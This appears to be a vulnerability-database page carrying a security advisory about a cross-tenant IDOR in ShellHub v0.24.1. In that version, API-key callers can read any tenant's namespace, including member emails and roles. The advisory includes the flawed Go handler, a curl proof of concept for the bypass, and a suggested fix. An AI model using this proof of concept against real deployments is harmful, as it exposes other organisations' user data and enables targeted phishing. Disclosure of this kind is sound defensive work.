GHSA-VWX9-7QCF-GG7F

Vulnerability from github – Published: 2026-05-07 03:02 – Updated: 2026-05-14 20:43
VLAI
Summary
ShellHub has cross-tenant IDOR in `GET /api/namespaces/:tenant` via API Key bypasses membership check
Details

Summary

GET /api/namespaces/:tenant returns the full namespace object — including the members list (user IDs, e-mails, roles), settings, and device counts — to any caller authenticated by an API Key, for any tenant, regardless of the API Key's own tenant scope.

The handler conditionally skips the membership check when the user ID (X-ID) is absent, which is exactly the case for API Key authentication.

Affected versions

ShellHub Community v0.24.1 (validated).

Root cause

api/routes/nsadm.go:75-102 — membership check is skipped when c.ID() is nil:

```go var uid string if c.ID() != nil { uid = c.ID().ID }

ns, err := h.service.GetNamespace(c.Ctx(), req.Tenant) if err != nil || ns == nil { return c.NoContent(http.StatusNotFound) }

if uid != "" { // ⚠️ skipped when API Key is used if _, ok := ns.FindMember(uid); !ok { return c.NoContent(http.StatusForbidden) } }

return c.JSON(http.StatusOK, ns) ```

AuthRequest (api/routes/auth.go:53-64) sets only X-Tenant-ID, X-Role, and X-API-KEY for API Key authentication — never X-ID. So c.Request().Header.Get("X-ID") returns "", c.ID() returns nil, and the membership check is bypassed.

Proof of concept (validated live against v0.24.1)

```bash # Attacker authenticates in their own namespace and mints an API Key ATTACKER_TOKEN=$(curl -s -X POST http://target/api/login \ -H 'Content-Type: application/json' \ -d '{"username":"attacker","password":"..."}' | jq -r .token)

ATTACKER_KEY=$(curl -s -X POST http://target/api/namespaces/api-key \ -H "Authorization: Bearer $ATTACKER_TOKEN" \ -H 'Content-Type: application/json' \ -d '{"name":"poc","expires_at":30}' | jq -r .id)

# Baseline: same request with JWT is correctly blocked curl -i http://target/api/namespaces/ \ -H "Authorization: Bearer $ATTACKER_TOKEN" # Observed: HTTP 403 (correct)

# Exploit: same request with API Key returns full namespace curl -i http://target/api/namespaces/ \ -H "X-API-Key: $ATTACKER_KEY" # Observed: HTTP 200 + {name, owner, tenant_id, members:[{id,email,role,added_at},...], # settings, max_devices, devices_accepted_count, type, created_at} ```

Impact

  • Enumeration of any ShellHub namespace by tenant UUID.
  • Disclosure of member e-mails, user IDs, and roles → user enumeration and targeted phishing against the victim organization.
  • Disclosure of namespace settings (session recording on/off, announcement text), device counts, namespace type, owner identity.

Suggested fix

Two layers:

  1. Primary — enforce caller-tenant match before returning the namespace, covering both JWT and API Key callers:

    go // nsadm.go GetNamespace if c.Tenant() != nil && c.Tenant().ID != req.Tenant { return c.NoContent(http.StatusForbidden) }

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.24.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/shellhub-io/shellhub"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.24.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44426"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T03:02:28Z",
    "nvd_published_at": "2026-05-13T22:16:44Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n`GET /api/namespaces/:tenant` returns the full namespace object \u2014 including the members list (user IDs, e-mails, roles), settings, and device counts \u2014 to any caller authenticated by an **API Key**, for any tenant, regardless of the API Key\u0027s own tenant scope.\n\nThe handler conditionally skips the membership check when the user ID (`X-ID`) is absent, which is exactly the case for API Key authentication.\n\n## Affected versions\nShellHub Community v0.24.1 (validated).\n\n## Root cause\n`api/routes/nsadm.go:75-102` \u2014 membership check is skipped when `c.ID()` is nil:\n\n  ```go\n  var uid string\n  if c.ID() != nil {\n      uid = c.ID().ID\n  }\n\n  ns, err := h.service.GetNamespace(c.Ctx(), req.Tenant)\n  if err != nil || ns == nil {\n      return c.NoContent(http.StatusNotFound)\n  }\n\n  if uid != \"\" {                              // \u26a0\ufe0f skipped when API Key is used\n      if _, ok := ns.FindMember(uid); !ok {\n          return c.NoContent(http.StatusForbidden)\n      }\n  }\n\n  return c.JSON(http.StatusOK, ns)\n  ```\n\n  `AuthRequest` (`api/routes/auth.go:53-64`) sets only `X-Tenant-ID`, `X-Role`,\n  and `X-API-KEY` for API Key authentication \u2014 never `X-ID`. So\n  `c.Request().Header.Get(\"X-ID\")` returns `\"\"`, `c.ID()` returns `nil`, and\n  the membership check is bypassed.\n\n## Proof of concept (validated live against v0.24.1)\n\n  ```bash\n  # Attacker authenticates in their own namespace and mints an API Key\n  ATTACKER_TOKEN=$(curl -s -X POST http://target/api/login \\\n    -H \u0027Content-Type: application/json\u0027 \\\n    -d \u0027{\"username\":\"attacker\",\"password\":\"...\"}\u0027 | jq -r .token)\n\n  ATTACKER_KEY=$(curl -s -X POST http://target/api/namespaces/api-key \\\n    -H \"Authorization: Bearer $ATTACKER_TOKEN\" \\\n    -H \u0027Content-Type: application/json\u0027 \\\n    -d \u0027{\"name\":\"poc\",\"expires_at\":30}\u0027 | jq -r .id)\n\n  # Baseline: same request with JWT is correctly blocked\n  curl -i http://target/api/namespaces/\u003cvictim-tenant-uuid\u003e \\\n    -H \"Authorization: Bearer $ATTACKER_TOKEN\"\n  # Observed: HTTP 403 (correct)\n\n  # Exploit: same request with API Key returns full namespace\n  curl -i http://target/api/namespaces/\u003cvictim-tenant-uuid\u003e \\\n    -H \"X-API-Key: $ATTACKER_KEY\"\n  # Observed: HTTP 200 + {name, owner, tenant_id, members:[{id,email,role,added_at},...],\n  #                      settings, max_devices, devices_accepted_count, type, created_at}\n  ```\n\n## Impact\n  - Enumeration of any ShellHub namespace by tenant UUID.\n  - Disclosure of member e-mails, user IDs, and roles \u2192 user enumeration and targeted phishing against the victim organization.\n  - Disclosure of namespace settings (session recording on/off, announcement text), device counts, namespace type, owner identity.\n\n## Suggested fix\nTwo layers:\n\n  1. **Primary** \u2014 enforce caller-tenant match before returning the namespace, covering both JWT and API Key callers:\n\n     ```go\n     // nsadm.go GetNamespace\n     if c.Tenant() != nil \u0026\u0026 c.Tenant().ID != req.Tenant {\n         return c.NoContent(http.StatusForbidden)\n     }\n     ```",
  "id": "GHSA-vwx9-7qcf-gg7f",
  "modified": "2026-05-14T20:43:26Z",
  "published": "2026-05-07T03:02:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/shellhub-io/shellhub/security/advisories/GHSA-vwx9-7qcf-gg7f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44426"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/shellhub-io/shellhub"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ShellHub has cross-tenant IDOR in `GET /api/namespaces/:tenant` via API Key bypasses  membership check"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…